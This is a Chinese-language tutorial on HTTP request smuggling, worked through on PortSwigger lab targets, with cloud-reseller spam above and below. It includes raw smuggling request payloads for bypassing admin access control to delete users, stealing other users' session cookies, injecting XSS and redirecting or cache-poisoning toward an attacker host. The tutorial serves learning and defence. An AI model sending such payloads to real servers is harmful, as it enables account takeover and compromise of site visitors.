http请求走私详解

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

前言

HTTP请求走私是一种干扰网站正常处理从一个或多个用户收到的HTTP请求的方法请求走私漏洞在本质上通常很关键允许攻击者绕过安全控制获得对敏感数据的未授权访问并直接危害其他应用程序的用户。

随便提一句本文的环境为网站https://portswigger.net/提供的在线环境。

漏洞成因简介

现在的网络架构一般后端真实响应的服务器前端还有存在一个反向代理或者负载均衡的服务器例如常见的Nginx + tomcat的响应方式。

为了提升响应效率降低连接数等原因前端服务器在将请求转发至后端服务器时通常会将多个请求数据包打包一起打给后端服务器http协议允许这么做然后由后端服务器根据http 中的请求头"Content-Length"或者"Transfer-Encoding" 来判断一个请求的结束这里就会出现一个问题那就时前端服务器和后端服务器判断数据是否属于一个请求时可能会存在冲突导致请求的分割出现问题从而导致了请求走私的发生。

下面是关于 Transfer-Encoding的简介请求走私涉及的内容就是如下格式的请求头。
Transfer-Encoding:chunked

  • 如果一个HTTP消息包括客户端发送的请求消息或服务器返回的应答消息的Transfer-Encoding消息头的值为chunked那么消息体由数量未定的块组成并以最后一个大小为0的块为结束。

  • 每一个非空的块都以该块包含数据的字节数字节数以十六进制表示开始跟随一个CRLF 回车及换行然后是数据本身最后块CRLF结束。在一些实现中块大小和CRLF之间填充有白空格0x20。

  • 最后一块是单行由块大小0一些可选的填充白空格以及CRLF。最后一块不再包含任何数据但是可以发送可选的尾部包括消息头字段。

  • 消息最后以CRLF结尾。

RFC 2616 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域则必须忽略后者。

漏洞示例详解

实验环境是在线的https://portswigger.net/web-security/request-smuggling。

根据前后端判断数据包是否结束的http头不同可以分为如下三种情况。

  • CL.TE前端服务器使用Content-Lengthheader后端服务器使用Transfer-Encodingheader。
  • TE.CL前端服务器使用Transfer-Encodingheader后端服务器使用Content-Lengthheader。
  • TE.TE前端服务器和后端服务器都支持Transfer-Encodingheader但是可以通过某种方式混淆header来诱导其中一台服务器不处理它。

还有一种前后都使用Content-length作为判断依据时为了使得前后不一致那么就必须添加Transfer-Encoding而根据RFC 2616 的定义 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域则必须忽略后者。所以就跟上诉的情况重复了

在实验之前需要注意一件事那就是是否勾选了burp如上的这个选项他会主动的将content-length的长度调整为实际的长度。

在这里插入图片描述

以下所有的情况都是需要前端服务器认为是一个数据包而后端判断不是一个数据包从而达到各种各样的效果。

CL.TE

请求包示例如下

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

对于CL.TE的这种情况来说burp的Update Content-Length是否勾选是不影响结果的这是因为本来就是需要以Content-Length为判断标准的前端服务器认为这是一个请求包。

连续两次请求示例数据包可能看到后端将第一次请求中的G作为第二次请求的开头进行解析。
在这里插入图片描述

TE.CL

请求示例数据包最后记得两次回车因为Transfer-Encoding就是以这个结束的。
也就是在数据流的情况下是以以下内容结束的。

0\r\n
\r\n 
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


一定要取消burp的Update Content-Length的勾选。

在这里插入图片描述

TE.TE

根据相关规定如果两者都存在都支持的请求下会忽略content-length, 如果前后端服务器均支持的话那么可以对Transfer-Encoding进行混淆使得其中一个不支持Transfer-Encoding那么就会演变成上面讲述的两种情况。

混淆示例

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

在这里插入图片描述

漏洞检测

在进行实验时需要注意以下几点

  1. chunked分块传输时计算每块的字节数时最后一行是没有回车换行的。
  2. 普通方式传输时结束时也是没有回车换行的
  3. CL.TE类型的请求走私中记得更新Content-Length的字节数
  4. TE.CL类型级记得更新作为POC的块的长度。

利用时间延迟

这种方法就是使用指定超出实际长度的Content-length或者没有结尾的chunck来让服务器以为请求不完整进行等待。从而造成时间延迟。

CL.TE

这个请求构造的是真的秒啊如果存在延时返回就是存在http走私。

首先前端服务器是通过content-length来判断报文是否结束的然后就会将最后的X剔除掉成为符合Transfer-Encoding: chunked格式的请求数据包并且没有结束符号那么就会被等待。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL

通过"Transfer-Encoding: chunked" 将最后的数据剔除同样的会符合content-length格式的数据但是数据长度不够就会造成等待。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

利用响应内容判断

原请求

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

构造请求如下如果成立的话就会返回404不是这种情况的话那么也就是会返回解锁不到结果等内容。而不是状态码404.

CL.TE

探测数据包示例如图所示。

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

下面为在实验环境中成功尝试的截图
在这里插入图片描述

TE.CL

请求包示例

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

实验截图

在这里插入图片描述

探测工具

  • https://github.com/defparam/smuggler
  • burp中的扩展插件http request smuggler

漏洞利用

绕过前端限制

假设一个应用程序使用前端服务器来实现访问控制限制只有在用户被授权访问所请求的 URL 时才转发请求。后端服务器随后会接受每个请求而无需进一步检查。在这种情况下可以使用 HTTP 请求走私漏洞通过将请求走私到受限 URL 来绕过访问控制。

CL.TE 绕过前端验证

尝试使用请求走私访问admin

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
FOOr:a

可以看到返回结果时未认证。
在这里插入图片描述

尝试绕过

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
Host:localhost
FOOr:a

使用特殊host的值进行绕过又发现了新的问题那就是重复、冲突的http头的值

通过构造格式将后面走私的数据作为http请求的正文而不是作为请求头了而且由于get请求不解析请求内容所以不影响。

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:74
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50  //这个也一定要有

x=

在这里插入图片描述

尝试进行其他操作成功删除用户。
在这里插入图片描述

在这里插入图片描述

TE.CL的请求包

POST / HTTP/1.1
Host: 0a32001003c41b91c3a5fcb5003c00fc.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:4
Transfer-Encoding:chunked

5c
GET /admin/delete?username=carlos HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50   //一定要有
 
x=
0

在这里插入图片描述

可以看到成功删除

在这里插入图片描述

暴露请求重写内容

在前端服务器将请求转发给后端服务器时可能会对请求进行一部分的重写例如添加一些类似与token啦认证数据之类的内容。那么我们就需要得到这部分内容进行权限的提升。

需要注意一点我们通过请求走私读取http头中重写的内容是为了绕过权限验证而不是没有这个就不能正常请求不然的话就没办法玩了。

具体操作方法如下

  1. 找到会反射输入内容的参数就是类似存在xss的
  2. 将这个参数放在请求的最后然后就可以通过走私将下一个数据包的请求同部分作为这个参数的内容然后会被反射到页面的值中

数据包示例如下。需要注意的就是要把握好Content-length的长度

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

在这里插入图片描述

绕过权限删除账户

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10  //一定要有。
Connection: close

x=1

绕过客户端验证

作为 TLS 握手的一部分服务器通过提供证书向客户端通常是浏览器验证自己。此证书包含他们的“公用名”(CN)该名称应与他们注册的主机名相匹配。然后客户端可以使用它来验证他们正在与属于预期域的合法服务器对话。

一些站点更进一步并实施一种相互 TLS 身份验证的形式其中客户端还必须向服务器出示证书。在这种情况下客户端的 CN 通常是用户名等例如它可以在后端应用程序逻辑中用作访问控制机制的一部分。

对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

利用走私进行读取绕后进行绕过实际上这种行为通常不可利用因为前端服务器往往会覆盖这些标头如果它们已经存在。但是走私的请求完全对前端隐藏因此它们包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

捕获其他用户请求

如果应用程序中存在存储和搜索之类的功能也就是可以将输入反射出来的功能点那么久可以通过HTTP请求走私来捕获其他用户请求的内容在这些请求中可能会包含会话令牌等敏感数据。常见的功能点就是评论、电子邮件、个人资料描述、屏幕名称等。

需要捕获其他用户的数据那么就需要走私一个带有参数。可以将参数内容映射出来的功能点可以时存储也可以是直接反应在返回包中。

我们可以走私一个上述相关的请求然后将会被反射出来的值得到参数放到最后类似与上面那个读取重写的请求的方式。

请求包

POST / HTTP/1.1
Host: 0a9900cb03aee7bbc40ea0cd00f70096.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:258
Transfer-Encoding:chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length:500
Cookie: __e_inc=1; session=84CauFGTySSY3WBKaGtjfJt05kH7IQSc

csrf=kWC5SidMdxs6JV3R86vgd4uiZZJsXnVy&postId=3&name=bbb&email=ccc%40qq.com&website=&comment=

我刚开始的时候还会报错原来是没有添加cookie,

在这里插入图片描述在这里插入图片描述

调整数据包大小后还是有成功的获取到部分有效数据的像secret、session等成功劫持会话

在这里插入图片描述

使用HTTP请求走私利用反射XSS

  • 不需要与受害用户进行交互。无需向他们提供 URL 并等待用户访问。您只需走私一个包含 XSS 负载的请求就会命中后端服务器处理的下一个用户请求。
  • 可以利用部分请求中的XSS行为符合条件的都是在正常XSS中可以简单进行控制的。例如 HTTP 请求标头。
    例如假设某个应用程序的User-Agent标头中存在反射型 XSS 漏洞。您可以在请求走私攻击中利用它

POC

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

重定向

利用请求走私将站内重定向转换为开放重定向

许多程序会将一个URL的请求重定向到另外的一个URL并将HTTP标头中的主机名放入重定向URLApache和IIS Web服务器的默认行为然后再请求的连接最后添加上对应的路径。

将走私内容的请求地址设置为自己服务器的web端口然后观察是否能可以接收到对应的访问信息即可。

请求示例包

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求可能会被解析成如下请求与返回包无需与用户进行交互即可将重定向到攻击者的网站上。

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这里用户的请求是针对由网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回他们自己的 JavaScript 来完全危害受害用户。

将目录相对重定向转换为开放重定向

示例请求与返回内容

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许您在路径中使用协议相对 URL这可能仍可用于开放重定向

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

使用HTTP请求走私执行Web缓存投毒

这里的缓存投毒使用更加简单了只要使用相应的请求包请求执行成功之后只要环境中存在前端缓存的情况下那么也不再需要像正常实施Web缓存投毒那样进行构造注意缓存键识别请求包是否相等和非缓存键了。

请求包示例

POST / HTTP/1.1
Host: 0a5900c104a3b70fc03059cc00db0014.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=6 HTTP/1.1
Host:exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
Content-length: 20

x=

在这里插入图片描述

GET /post?postId=7 HTTP/1.1
Host: exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在这里插入图片描述

设置攻击服务器返回内容

在这里插入图片描述

重复多次的反复请求上面的两个数据包总有拼接成功的时候到时候访问JS文件就会被跳转到攻击者的服务器中

从此时开始当其他用户请求此 URL 时他们会收到重定向到攻击者网站的信息。

此外还可以使用web缓存尽心通过欺骗用户操作方法与上述相同。只不过是返回定制的具有欺骗性的内容。

漏洞修复

使用 HTTP/2 端到端并尽可能禁用 HTTP 降级。HTTP/2 使用稳健的机制来确定请求的长度并且在端到端使用时本质上可以防止请求走私。如果无法避免 HTTP 降级请确保根据 HTTP/1.1 规范验证重写的请求。例如拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。

使前端服务器规范化不明确的请求并使后端服务器拒绝任何仍然不明确的请求并在此过程中关闭 TCP 连接。

永远不要假设请求没有主体。这是 CL.0 和客户端不同步漏洞的根本原因。

如果在处理请求时触发服务器级异常则默认丢弃连接。

如果您通过转发代理路由流量请确保在可能的情况下启用上游 HTTP/2。

参考

https://zh.m.wikipedia.org/zh-sg/%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BC%96%E7%A0%81
https://portswigger.net/web-security/request-smuggling
https://ricardoiramar.medium.com/the-powerful-http-request-smuggling-af208fafa142
https://medium.com/@StealthyBugs/http-request-smuggling-on-business-apple-com-and-others-2c43e81bcc52
https://infosecwriteups.com/exploiting-http-request-smuggling-te-cl-xss-to-website-takeover-c0fc634a661b
https://blog.shiftleft.io/http-request-smuggling-a-primer-dc5beb2ed9b5
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://portswigger.net/web-security/request-smuggling/finding

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6